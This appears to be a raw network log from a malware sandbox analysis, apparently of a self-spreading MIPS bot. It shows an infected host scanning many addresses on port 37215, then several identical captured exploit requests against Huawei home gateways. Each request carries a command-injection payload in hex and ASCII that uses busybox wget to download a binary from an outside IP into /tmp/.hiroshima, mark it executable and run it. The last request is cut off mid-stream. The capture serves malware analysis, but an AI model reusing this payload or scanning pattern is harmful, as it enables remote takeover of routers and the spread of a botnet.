Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.123.86.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.38.48.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.81.203.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.74.166.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.132.183.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.125.24.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.220.217.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.226.248.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.136.68.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.155.121.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.27.90.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.214.88.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.4.203.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.138.17.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.153.29.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.204.174.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.221.173.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.134.90.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.28.186.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.178.142.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.212.9.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.130.10.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.11.155.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.255.255.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.226.111.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.194.101.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.225.81.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.160.195.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.83.153.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.67.255.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.9.118.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.57.21.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.105.228.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.87.214.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.241.3.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.25.108.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.185.147.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.232.78.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.99.61.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.118.110.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.71.120.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.228.179.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.223.90.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.139.222.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.97.50.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.183.23.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.10.79.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.59.209.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.194.43.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.63.87.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.68.17.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.234.205.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.240.157.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.68.146.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.71.150.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.237.184.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.197.74.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.188.165.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.56.144.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.204.180.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.130.237.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.72.7.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.136.106.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.55.244.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.143.229.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.24.186.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.66.184.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.127.221.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.100.200.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.47.87.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.37.190.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.100.115.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.153.115.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.220.154.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.213.99.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.144.145.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.193.113.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.243.233.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.206.206.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.15.95.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.60.218.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.31.72.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.119.138.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.121.35.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.10.117.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.115.19.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.243.52.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.38.223.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.33.6.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.92.193.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.106.173.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.64.148.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.38.51.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.100.103.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.74.194.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.49.16.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.117.67.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.202.55.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.144.196.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.26.223.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.108.105.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.159.142.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.205.110.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.164.255.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.23.172.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.91.253.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.191.118.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.145.19.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.230.30.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.196.83.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.142.143.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.137.196.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.68.105.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.58.184.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.52.228.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.220.84.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.88.72.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.18.47.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.59.230.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.157.21.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.52.119.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.114.166.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.214.194.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.147.73.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.102.192.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.229.101.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.175.239.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.229.173.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.211.232.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.111.14.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.154.118.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.219.179.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.186.218.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.118.239.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.21.153.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.78.41.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.136.96.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.79.255.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.127.129.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.52.251.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.119.232.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.57.46.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.211.175.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.95.211.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.158.244.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.12.239.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.89.177.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.148.149.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.208.7.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.132.125.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.26.43.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.189.107.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.209.218.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.66.104.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.154.18.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.51.160.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.151.17.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 197.38.160.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.108.43.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.136.78.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 156.132.12.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.161.135.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:60295 -> 41.209.53.30:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 